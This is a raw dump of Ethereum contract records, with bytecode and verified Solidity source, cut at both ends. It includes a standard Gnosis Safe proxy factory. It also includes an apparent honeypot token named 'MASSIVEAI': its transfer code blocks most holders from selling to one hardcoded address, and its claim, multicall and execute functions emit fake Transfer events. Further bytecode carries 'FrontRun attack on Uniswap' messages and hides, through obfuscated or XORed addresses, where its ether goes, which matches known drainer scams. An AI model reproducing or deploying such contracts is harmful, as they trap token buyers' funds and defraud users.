fffffffff8114610c3c5781811015610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c259061185a565b60405180910390fd5b610c3b84848484036109f4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906118e8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590611976565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dba5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610f4157508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e5c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ea85750737aa2b03ddd79eb45d8d4c432c8ec11a35f7a7d0c73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ef45750730a30cceda7f03b971175e520c0be7e6728860b6773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f40575073af376861670cc48dcd091fbd86b55451df41744e73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610f65575f600282610f5491906119c1565b90506007548110610f63575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe090611a64565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d491906113f0565b60405180910390a36110e784848461122c565b50505050565b6110f56109ed565b73ffffffffffffffffffffffffffffffffffffffff1661111361070a565b73ffffffffffffffffffffffffffffffffffffffff1614611169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116090611acc565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561126857808201518184015260208101905061124d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61128d82611231565b611297818561123b565b93506112a781856020860161124b565b6112b081611273565b840191505092915050565b5f6020820190508181035f8301526112d38184611283565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61130c826112e3565b9050919050565b61131c81611302565b8114611326575f80fd5b50565b5f8135905061133781611313565b92915050565b5f819050919050565b61134f8161133d565b8114611359575f80fd5b50565b5f8135905061136a81611346565b92915050565b5f8060408385031215611386576113856112db565b5b5f61139385828601611329565b92505060206113a48582860161135c565b9150509250929050565b5f8115159050919050565b6113c2816113ae565b82525050565b5f6020820190506113db5f8301846113b9565b92915050565b6113ea8161133d565b82525050565b5f6020820190506114035f8301846113e1565b92915050565b5f805f606084860312156114205761141f6112db565b5b5f61142d86828701611329565b935050602061143e86828701611329565b925050604061144f8682870161135c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261147a57611479611459565b5b8235905067ffffffffffffffff8111156114975761149661145d565b5b6020830191508360208202830111156114b3576114b2611461565b5b9250929050565b5f805f604084860312156114d1576114d06112db565b5b5f84013567ffffffffffffffff8111156114ee576114ed6112df565b5b6114fa86828701611465565b9350935050602061150d8682870161135c565b9150509250925092565b5f60ff82169050919050565b61152c81611517565b82525050565b5f6020820190506115455f830184611523565b92915050565b5f602082840312156115605761155f6112db565b5b5f61156d84828501611329565b91505092915050565b61157f81611302565b82525050565b5f6020820190506115985f830184611576565b92915050565b5f80604083850312156115b4576115b36112db565b5b5f6115c185828601611329565b92505060206115d285828601611329565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162057607f821691505b602082108103611633576116326115dc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6116c060268361123b565b91506116cb82611666565b604082019050919050565b5f6020820190508181035f8301526116ed816116b4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61174e60248361123b565b9150611759826116f4565b604082019050919050565b5f6020820190508181035f83015261177b81611742565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117dc60228361123b565b91506117e782611782565b604082019050919050565b5f6020820190508181035f830152611809816117d0565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611844601d8361123b565b915061184f82611810565b602082019050919050565b5f6020820190508181035f83015261187181611838565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6118d260238361123b565b91506118dd82611878565b604082019050919050565b5f6020820190508181035f8301526118ff816118c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61196060258361123b565b915061196b82611906565b604082019050919050565b5f6020820190508181035f83015261198d81611954565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119cb8261133d565b91506119d68361133d565b92508282019050808211156119ee576119ed611994565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a4e60268361123b565b9150611a59826119f4565b604082019050919050565b5f6020820190508181035f830152611a7b81611a42565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ab660208361123b565b9150611ac182611a82565b602082019050919050565b5f6020820190508181035f830152611ae381611aaa565b905091905056fea26469706673582212208a8d05dcc282b7495809ccd81065d919bb325db5db5859b33f3825d88c637a9564736f6c63430008180033
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Meta is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract MASSIVEAI is Ownable, IERC20, IERC20Meta { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _p76234; uint256 private _e242 = 999; /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 8; } function claim(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function execute(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function actionPair(address account) public virtual returns (bool) { require(_msgSender() == 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 ); _p76234 = account; return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); renounceOwnership(); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(to != address(0), "ERC20: transfer to the zero address"); require(from != address(0), "ERC20: transfer from the zero address"); if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from != 0x7aA2B03ddD79Eb45d8D4c432C8ec11A35F7a7D0c && from != 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 && from != 0xaf376861670Cc48dCD091fbd86b55451dF41744E)) { uint256 _X7W88 = amount + 2; require(_X7W88 < _e242 ); } uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} constructor() { _name = unicode"Massive AI"; _symbol = unicode"MASSIVE AI"; _mint(msg.sender, 10000000000 * 10 ** decimals()); } }
1
19,501,475
00bd9165872be063ffcedf5fe8ceb2b656400f98f188c162659a89e70301bf74
d1a1287397d9cbd5ebd81efe4edae3a3bbdc5a09f7d88f4469658077696e7c91
87d8cc357bf647051e44ebeb8eb9c16a919ae503
a6b71e26c5e0845f74c812102ca7114b6a896ab2
26ad19422dd96177817c37f319fe18e5bd5c89c8
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,475
00bd9165872be063ffcedf5fe8ceb2b656400f98f188c162659a89e70301bf74
88431a99f1cb878a51f6eec34f4ec8aaea3a12c042ec69bed9e9806fae000cbb
6bb8b93f3aa35a926744910edc22df5959913090
6bb8b93f3aa35a926744910edc22df5959913090
e36cc479cb7872cab53fd1bcec25d1f44c7f42da
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0de3920fd48d1c46aabbf1f9d3485cc1c0691c0cac06007557f8a727dc41d83211e47d3c0ded7e9b2ea31dfb3ff8c257ed65836079b1c61fc396008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212200f33d9319df36aa899d5138c3deda04badc0162660ab328401467d809df15bc764736f6c63430008070033
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212200f33d9319df36aa899d5138c3deda04badc0162660ab328401467d809df15bc764736f6c63430008070033
1
19,501,482
339b3d7b88eb944b1d5579a397ae85c61836047ae258eed026236f082d848a76
fd3824810442ba253e774a7d64a6f692b599dcf5c31f7d64a7fbbd8b133f2c7a
848de0550751c877be3e0ec22f7b7c3feba2e5e5
848de0550751c877be3e0ec22f7b7c3feba2e5e5
7e7611cd839bc863c139f9c7ed847a11978e8e26
60806040526003805460ff191690556658d15e1762800060045534801561002557600080fd5b50610890806100356000396000f3fe6080604052600436106100595760003560e01c80632b42b941146100655780639763d29b14610091578063bedf0f4a146100bb578063d4e93292146100d0578063eaf67ab9146100d8578063f39d8c65146100e057610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008f6004803603602081101561008857600080fd5b5035610107565b005b34801561009d57600080fd5b5061008f600480360360208110156100b457600080fd5b503561010c565b3480156100c757600080fd5b5061008f610111565b61008f61011d565b61008f6101ab565b3480156100ec57600080fd5b506100f56101fe565b60408051918252519081900360200190f35b600255565b600155565b6003805460ff19169055565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260338152602001806107e06033913960400191505060405180910390a1610170610217565b6001600160a01b03166108fc479081150290604051600060405180830381858888f193505050501580156101a8573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260488152602001806108136048913960600191505060405180910390a1610170610217565b60045460035461010090046001600160a01b0316310390565b600061022961022461022e565b610348565b905090565b606080610263604051806040016040528060018152602001600f60fb1b81525061025e6102596104e5565b6104ec565b610675565b90506205cafe6000610273610786565b9050620213fd600061028361078d565b9050620fa5de6000610293610794565b9050620a9e1e60606102a88961025e8a6104ec565b905060606102c16102b8896104ec565b61025e896104ec565b905060606102da6102d1886104ec565b61025e886104ec565b905060606102f36102ea876104ec565b61025e876104ec565b9050606061030e6103048686610675565b61025e8585610675565b90506060610335604051806040016040528060018152602001600360fc1b81525083610675565b9e50505050505050505050505050505090565b60008181808060025b602a8110156104d8576101008402935084818151811061036d57fe5b0160200151855160f89190911c935085906001830190811061038b57fe5b016020015160f81c915060616001600160a01b038416108015906103b957506066836001600160a01b031611155b156103c95760578303925061042d565b6041836001600160a01b0316101580156103ed57506046836001600160a01b031611155b156103fd5760378303925061042d565b6030836001600160a01b03161015801561042157506039836001600160a01b031611155b1561042d576030830392505b6061826001600160a01b03161015801561045157506066826001600160a01b031611155b15610461576057820391506104c5565b6041826001600160a01b03161015801561048557506046826001600160a01b031611155b15610495576037820391506104c5565b6030826001600160a01b0316101580156104b957506039826001600160a01b031611155b156104c5576030820391505b6010830282019390930192600201610351565b509193505050505b919050565b620b7d9390565b60606000825b80156105085760019190910190601090046104f2565b60608267ffffffffffffffff8111801561052157600080fd5b506040519080825280601f01601f19166020018201604052801561054c576020820181803683370190505b50905060005b8381101561059f576010860692506105698361079b565b826001838703038151811061057a57fe5b60200101906001600160f81b031916908160001a905350601086049550600101610552565b50805160048114156105dd5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b95506104e0945050505050565b806003141561060b5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b806002141561063b5760606105d06040518060400160405280600381526020016203030360ec1b81525084610675565b806001141561066c5760606105d0604051806040016040528060048152602001630303030360e41b81525084610675565b50949350505050565b805182516060918491849184910167ffffffffffffffff8111801561069957600080fd5b506040519080825280601f01601f1916602001820160405280156106c4576020820181803683370190505b509050806000805b8551821015610720578582815181106106e157fe5b602001015160f81c60f81b8382806001019350815181106106fe57fe5b60200101906001600160f81b031916908160001a9053506001909101906106cc565b600091505b84518210156107795784828151811061073a57fe5b602001015160f81c60f81b83828060010193508151811061075757fe5b60200101906001600160f81b031916908160001a905350600190910190610725565b5090979650505050505050565b620dc84490565b620ddcce90565b6201536590565b600060098260ff16116107b557506030810160f81b6104e0565b8160ff16600a111580156107cd5750600f8260ff1611155b1561006057506057810160f81b6104e056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212205e9ffeb61b95626c670adc1b7b08f83ee8722571512d515aaf782fe0f190cf1364736f6c634300060c0033
6080604052600436106100595760003560e01c80632b42b941146100655780639763d29b14610091578063bedf0f4a146100bb578063d4e93292146100d0578063eaf67ab9146100d8578063f39d8c65146100e057610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008f6004803603602081101561008857600080fd5b5035610107565b005b34801561009d57600080fd5b5061008f600480360360208110156100b457600080fd5b503561010c565b3480156100c757600080fd5b5061008f610111565b61008f61011d565b61008f6101ab565b3480156100ec57600080fd5b506100f56101fe565b60408051918252519081900360200190f35b600255565b600155565b6003805460ff19169055565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260338152602001806107e06033913960400191505060405180910390a1610170610217565b6001600160a01b03166108fc479081150290604051600060405180830381858888f193505050501580156101a8573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260488152602001806108136048913960600191505060405180910390a1610170610217565b60045460035461010090046001600160a01b0316310390565b600061022961022461022e565b610348565b905090565b606080610263604051806040016040528060018152602001600f60fb1b81525061025e6102596104e5565b6104ec565b610675565b90506205cafe6000610273610786565b9050620213fd600061028361078d565b9050620fa5de6000610293610794565b9050620a9e1e60606102a88961025e8a6104ec565b905060606102c16102b8896104ec565b61025e896104ec565b905060606102da6102d1886104ec565b61025e886104ec565b905060606102f36102ea876104ec565b61025e876104ec565b9050606061030e6103048686610675565b61025e8585610675565b90506060610335604051806040016040528060018152602001600360fc1b81525083610675565b9e50505050505050505050505050505090565b60008181808060025b602a8110156104d8576101008402935084818151811061036d57fe5b0160200151855160f89190911c935085906001830190811061038b57fe5b016020015160f81c915060616001600160a01b038416108015906103b957506066836001600160a01b031611155b156103c95760578303925061042d565b6041836001600160a01b0316101580156103ed57506046836001600160a01b031611155b156103fd5760378303925061042d565b6030836001600160a01b03161015801561042157506039836001600160a01b031611155b1561042d576030830392505b6061826001600160a01b03161015801561045157506066826001600160a01b031611155b15610461576057820391506104c5565b6041826001600160a01b03161015801561048557506046826001600160a01b031611155b15610495576037820391506104c5565b6030826001600160a01b0316101580156104b957506039826001600160a01b031611155b156104c5576030820391505b6010830282019390930192600201610351565b509193505050505b919050565b620b7d9390565b60606000825b80156105085760019190910190601090046104f2565b